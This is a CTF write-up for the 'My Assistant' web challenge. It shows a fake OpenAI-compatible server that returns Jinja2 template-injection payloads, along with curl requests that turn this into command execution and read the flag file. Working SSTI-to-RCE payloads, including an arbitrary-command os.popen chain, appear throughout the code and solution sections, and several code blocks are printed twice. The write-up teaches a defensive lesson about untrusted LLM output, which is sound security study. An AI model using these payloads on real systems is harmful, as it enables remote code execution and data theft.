July 2, 2026
Cambodia Cyber Arena 2026: Web — My Assistant — Writeup
An AI chat interface called “AnythingYouWantAI” — and the challenge title. The name “My Assistant” and the tagline “Talk to me unless…

By Jamal
4 min read
An AI chat interface called "AnythingYouWantAI" — and the challenge title. The name "My Assistant" and the tagline "Talk to me unless you're invited. And you're never gonna get invited me :))" hint at two things: an AI-powered chat application where trust is placed in an external provider, and a tone that dares us to find the backdoor. The challenge description doesn't include source code, so this is a black-box probe from the start.
Recon
The page loads a minimal chat UI. Checking the browser's DevTools network tab reveals a few endpoints:
Endpoint Method Purpose /api/settings GET Returns the current endpoint config (endpoint_url, model, has_api_key) /api/settings POST Saves an OpenAI-compatible endpoint URL, model name, and optional API key /api/settings/test POST Probes the configured endpoint with a lightweight connectivity check /api/chat POST Forwards a user message to the configured LLM endpoint and returns the AI reply /api/chat/history GET Returns the conversation history for the session /static/app.js GET Client-side JS - confirms the API surface above
The settings panel accepts a custom endpoint_url, model, and api_key. This is the critical attack surface: the server proxies chat messages to whichever URL we give it and returns the response to the user. If we control the endpoint, we control the response - we can return any string and the server will process it.
The question is: how does the server process the LLM response? It must render it somewhere — either in the browser (XSS) or through a server-side template engine (SSTI). The challenge title and the custom-endpoint design strongly hint at a Supply-Chain SSTI scenario: we point the server at a malicious endpoint we control, feed it a response containing a template injection payload, and the server evaluates it during rendering.
We set up a fake OpenAI API using fastapi-openai-compat, a package that implements the /v1/models and /v1/chat/completions OpenAI API surface in a few lines. The fake API runs locally on port 8080 and is exposed to the internet via a tunnel at fake-openai.missedexploit.xyz.
The full fake_api.py:
import time
import uvicorn
from fastapi import FastAPI
from fastapi_openai_compat import create_openai_router, ChatCompletion, Choice, Message
app = FastAPI(title="Fake OpenAI API")
def list_models():
return ["gpt-4"]
def run_completion(model: str, messages: list, body: dict):
user_msg = messages[-1]["content"] if messages else ""
print(f"[*] Received: model={model}, messages={messages}")
msg = user_msg.lower().strip()
# Verify SSTI
if msg == "ping":
return "{{7*7}}"
# config dump
if msg == "config":
return "{{config}}"
# request object
if msg == "request":
return "{{request}}"
# self (Jinja2)
if msg == "self":
return "{{self}}"
# Subclasses enumeration
if msg == "subclasses" or msg == "classes":
return "{{''.__class__.__mro__[1].__subclasses__()}}"
# Try reading common flag locations
if msg == "flag" or msg == "read flag":
return "{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}"
# Try open with get_flashed_messages
if msg == "open 1":
return "{{get_flashed_messages.__globals__.__builtins__.open('/flag').read()}}"
if msg == "open 2":
return "{{lipsum.__globals__.open('/flag').read()}}"
if msg == "open 3":
return "{{cycler.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 4":
return "{{joiner.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 5":
return "{{namespace.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 6":
return "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
# Command execution via subclasses - generic probe
if msg.startswith("class "):
try:
idx = int(msg.split()[1])
return "{{''.__class__.__mro__[1].__subclasses__()[" + str(idx) + "]}}"
except:
pass
# Direct command execution
if msg.startswith("cmd ") or msg.startswith("exec "):
cmd_part = msg.split(" ", 1)[1] if " " in msg else "id"
return "{{namespace.__init__.__globals__.os.popen('" + cmd_part + "').read()}}"
# Find subprocess.Popen index
if msg == "find subprocess":
return "{%for i in range(1000)%}{%if ''.__class__.__mro__[1].__subclasses__()[i].__name__=='Popen'%}{{i}}{%endif%}{%endfor%}"
# ls all files
if msg == "ls":
return "{{namespace.__init__.__globals__.os.popen('ls -la /').read()}}"
# pwd
if msg == "pwd":
return "{{namespace.__init__.__globals__.os.popen('pwd').read()}}"
return "{{7*7}}"
router = create_openai_router(
list_models=list_models,
run_completion=run_completion,
)
app.include_router(router)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)import time
import uvicorn
from fastapi import FastAPI
from fastapi_openai_compat import create_openai_router, ChatCompletion, Choice, Message
app = FastAPI(title="Fake OpenAI API")
def list_models():
return ["gpt-4"]
def run_completion(model: str, messages: list, body: dict):
user_msg = messages[-1]["content"] if messages else ""
print(f"[*] Received: model={model}, messages={messages}")
msg = user_msg.lower().strip()
# Verify SSTI
if msg == "ping":
return "{{7*7}}"
# config dump
if msg == "config":
return "{{config}}"
# request object
if msg == "request":
return "{{request}}"
# self (Jinja2)
if msg == "self":
return "{{self}}"
# Subclasses enumeration
if msg == "subclasses" or msg == "classes":
return "{{''.__class__.__mro__[1].__subclasses__()}}"
# Try reading common flag locations
if msg == "flag" or msg == "read flag":
return "{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}"
# Try open with get_flashed_messages
if msg == "open 1":
return "{{get_flashed_messages.__globals__.__builtins__.open('/flag').read()}}"
if msg == "open 2":
return "{{lipsum.__globals__.open('/flag').read()}}"
if msg == "open 3":
return "{{cycler.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 4":
return "{{joiner.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 5":
return "{{namespace.__init__.__globals__.os.popen('cat /flag').read()}}"
if msg == "open 6":
return "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"
# Command execution via subclasses - generic probe
if msg.startswith("class "):
try:
idx = int(msg.split()[1])
return "{{''.__class__.__mro__[1].__subclasses__()[" + str(idx) + "]}}"
except:
pass
# Direct command execution
if msg.startswith("cmd ") or msg.startswith("exec "):
cmd_part = msg.split(" ", 1)[1] if " " in msg else "id"
return "{{namespace.__init__.__globals__.os.popen('" + cmd_part + "').read()}}"
# Find subprocess.Popen index
if msg == "find subprocess":
return "{%for i in range(1000)%}{%if ''.__class__.__mro__[1].__subclasses__()[i].__name__=='Popen'%}{{i}}{%endif%}{%endfor%}"
# ls all files
if msg == "ls":
return "{{namespace.__init__.__globals__.os.popen('ls -la /').read()}}"
# pwd
if msg == "pwd":
return "{{namespace.__init__.__globals__.os.popen('pwd').read()}}"
return "{{7*7}}"
router = create_openai_router(
list_models=list_models,
run_completion=run_completion,
)
app.include_router(router)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)The run_completion function is the core - it receives the request body and messages from the challenge server and returns a string that becomes the content field in the OpenAI-compatible response. We use it to return Jinja2 SSTI payloads keyed to keywords in the user message. The namespace.__init__.__globals__.os.popen chain gives us command execution when a working Jinja2 context is found.
Proving SSTI over XSS
Before assuming SSTI, we need to rule out client-side XSS. Two observations settle it:
The JSON API response evaluates {{7*7}} server-side. When we send ping, our fake API returns {{7*7}}. If the challenge server simply forwarded this raw string, the JSON would contain {"reply":"{{7*7}}"} - literal curly braces. Instead, we get {"reply":"49"}. The template expression was evaluated before the JSON response was constructed, meaning a server-side template engine (Jinja2) processed it.
The frontend renders via textContent, not innerHTML. Reading app.js:
bubble.textContent = content;bubble.textContent = content;Even if the response contained HTML like <img src=x onerror=alert(1)>, it would be rendered as literal text in the DOM - no script execution possible. The frontend is safe by design.
Together, these rule out XSS and confirm SSTI: the injection happens server-side when the backend renders the LLM's response through a Jinja2 template before returning it to the client.
Solution
Confirming SSTI
We save the endpoint on the challenge server:
curl -c cookies.txt -b cookies.txt \
-X POST http://56.10.9.206:8002/api/settings \
-H "Content-Type: application/json" \
-d '{"endpoint_url":"http://fake-openai.missedexploit.xyz/v1","model":"gpt-4","api_key":null}'curl -c cookies.txt -b cookies.txt \
-X POST http://56.10.9.206:8002/api/settings \
-H "Content-Type: application/json" \
-d '{"endpoint_url":"http://fake-openai.missedexploit.xyz/v1","model":"gpt-4","api_key":null}'Then send a chat message:
curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"ping"}'curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"ping"}'Response:
{"reply":"49"}{"reply":"49"}{{7*7}} evaluates to 49 - confirmed Jinja2 SSTI.
From SSTI to RCE
The Jinja2 namespace object is available in the template context. We access os.popen through namespace.__init__.__globals__:
curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"pwd"}'
{"reply":"/app/src\n"}
curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"ls"}'
{"reply":"total 72\ndrwxr-xr-x 1 root root 4096 Jul 1 15:12 .\ndrwxr-xr-x 1 root root 4096 Jul 1 15:12 ..\n...\n-rw-r--r-- 1 root root 44 Jul 1 15:12 flag-357561d773889652e002e66510104c84.txt\n..."}curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"pwd"}'
{"reply":"/app/src\n"}
curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"ls"}'
{"reply":"total 72\ndrwxr-xr-x 1 root root 4096 Jul 1 15:12 .\ndrwxr-xr-x 1 root root 4096 Jul 1 15:12 ..\n...\n-rw-r--r-- 1 root root 44 Jul 1 15:12 flag-357561d773889652e002e66510104c84.txt\n..."}We find the flag file at /flag-357561d773889652e002e66510104c84.txt.
Reading the flag
curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"exec cat /flag-357561d773889652e002e66510104c84.txt"}'
{"reply":"MPTC{Be_ai_0r_b3c0m3_ai_and_n3v3r_tru$t_ai}}"}curl -b cookies.txt \
-X POST http://56.10.9.206:8002/api/chat \
-H "Content-Type: application/json" \
-d '{"message":"exec cat /flag-357561d773889652e002e66510104c84.txt"}'
{"reply":"MPTC{Be_ai_0r_b3c0m3_ai_and_n3v3r_tru$t_ai}}"}Flag
MPTC{Be_ai_0r_b3c0m3_ai_and_n3v3r_tru$t_ai}}MPTC{Be_ai_0r_b3c0m3_ai_and_n3v3r_tru$t_ai}}Author's motivation
From the attack walkthrough and the rules of the challenge, the author's objective becomes clear:
Lesson: Never trust LLM-generated output. Modern applications increasingly pipe AI responses into sensitive rendering contexts (templates, dashboards, SQL queries) without sanitization. This challenge simulates a realistic Supply-Chain SSTI scenario where the attacker controls not just the prompt but the entire response by pointing the integration at a malicious provider.
Why it works: The app's custom-endpoint feature is convenient — users can plug in any OpenAI-compatible provider. But convenience is the vulnerability: if the provider is untrusted, every response is a potential injection. The server blindly passes the LLM's output into render_template_string (or equivalent), treating AI-generated text as a trusted template. The flag name - Be_ai_0r_b3c0m3_ai_and_n3v3r_tru$t_ai - spells out the moral: be the AI, become the AI, and never trust the AI.
What it simulates: Real-world Supply-Chain attacks against AI integrations (e.g. poisoning a model's training data, compromising a model-hosting provider, or using a malicious model on HuggingFace). The custom-endpoint toggle is a stand-in for any pipeline where external LLM output reaches an interpreter without validation.